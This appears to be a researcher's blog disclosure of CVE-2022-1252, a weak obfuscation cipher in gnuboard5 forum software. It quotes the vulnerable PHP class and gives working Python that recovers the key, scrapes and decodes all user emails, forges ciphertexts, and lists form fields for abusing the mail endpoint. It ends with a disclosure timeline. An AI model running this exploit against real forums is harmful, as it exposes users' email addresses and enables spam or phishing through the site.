Insecure cipher used in forum software
This vulnerability was found on the popular forum platform gnuboard5. A vignette cipher is used to obfuscate user’s email addresses when these are sent to the front-end.
Description⌗
A weak obfuscation algorithm in the str_encrypt
class leads to email disclosure on forum’s /bbs/current_connect.php
and /bbs/profile.php
endpoints.
And to full, unrestricted access to the webserver’s SMTP functionality using the /bbs/formmail_send.php
endpoint.
Using a known-plaintext attack, the cipher key used by the str_encrypt
encrypt
function can be calculated, which in turn allows a malicious actor to de-obfuscate all user email addresses.
The str_encrypt
class looks as follows:
class str_encrypt
{
var $salt;
var $lenght;
function __construct($salt='')
{
if(!$salt)
$this->salt = md5(preg_replace('/[^0-9A-Za-z]/', substr(G5_MYSQL_USER, -1), $_SERVER['SERVER_SOFTWARE'].$_SERVER['DOCUMENT_ROOT']));
else
$this->salt = $salt;
$this->length = strlen($this->salt);
}
function encrypt($str)
{
$length = strlen($str);
$result = '';
for($i=0; $i<$length; $i++) {
$char = substr($str, $i, 1);
$keychar = substr($this->salt, ($i % $this->length) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result .= $char;
}
return strtr(base64_encode($result) , '+/=', '._-');
}
function decrypt($str) {
$result = '';
$str = base64_decode(strtr($str, '._-', '+/='));
$length = strlen($str);
for($i=0; $i<$length; $i++) {
$char = substr($str, $i, 1);
$keychar = substr($this->salt, ($i % $this->length) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result .= $char;
}
return $result;
}
}
Proof of Concept⌗
After collecting the ciphertext of your own email address on the /bbs/current_connect.php
endpoint, the following python code can be used to calculate the key
:
def get_key(encoded,decoded):
bytes_encoded = base64.b64decode(encoded.replace('.', '+').replace('_', '/').replace('-', '='))
bytes_decoded = bytearray(decoded,"utf-8")
i = 0
output = ""
for b in bytes_encoded:
output += chr(b-bytes_decoded[i])
i += 1
return output
print(get_key("kZKTlJWWl5iZmsLDxMXGx8fGxcSixrGZpKahmWGVoJ0-","aaaaaaaaaaaaaaaaaaaa@example.com"))
/bbs/current_connect.php
page.
key = get_key("kZKTlJWWl5iZmsLDxMXGx8fGxcSixrGZpKahmWGVoJ0-","aaaaaaaaaaaaaaaaaaaa@example.com")
def decode_email(encoded):
encoded = encoded.replace('.', '+').replace('_', '/').replace('-', '=')
encoded_bytes = base64.b64decode(encoded)
output = ""
i = 0
for b in encoded_bytes:
output += chr(b - ord(key[i]))
i += 1
if i == len(key):
i = 0
return output
r = requests.get("https://forum.example/bbs/current_connect.php")
matches = re.findall(r"formmail\.php\?mb_id=(.*?)&name=(.*?)&email=(.*?)\"", r.text)
matches = list(set(matches))#remove duplicates
for match in matches:
id = match[0]
name = unquote(match[1])
email = decode_email(match[2])
print("{} : {} : {}".format(id,name,email))
Alternatively, the following code can be used to create a ciphertext of any email address.
def encode_email(email):
output_arr = []
i = 0
for ch in email:
output_arr.append(ord(ch)+ord(key[i]))
i += 1
if i == len(key):
i = 0
output = str(base64.b64encode(bytearray(output_arr)))
return output.replace('+', '.').replace('/', '_').replace('=', '-')
/bbs/formmail_send.php
endpoint
with the following data:
to: encoded-email
attach: 2
fnick: from-username
fmail: from-mail
subject: subject
type: 0
content: mail body
file1: (binary)
file2: (binary)
captcha_key: captcha answer
Disclosure timeline⌗
- 25/12/2021 - Initial discovery
- 28/12/2021 - Reported to maintainer at huntr.dev
- 17/03/2022 - Maintainer was unable to reproduce the issue on a non-default installation
- 19/03/2022 - I was still able to reproduce the issue on a default installation, and updated the report to reflect this
- 28/03/2022 - Blog post published
This vulnerability has been assigned CVE-2022-1252.
Conclusion⌗
As the age-old mantra goes; don’t roll your own crypto. In this case no cryptography was even used, despite what the function’s name might imply.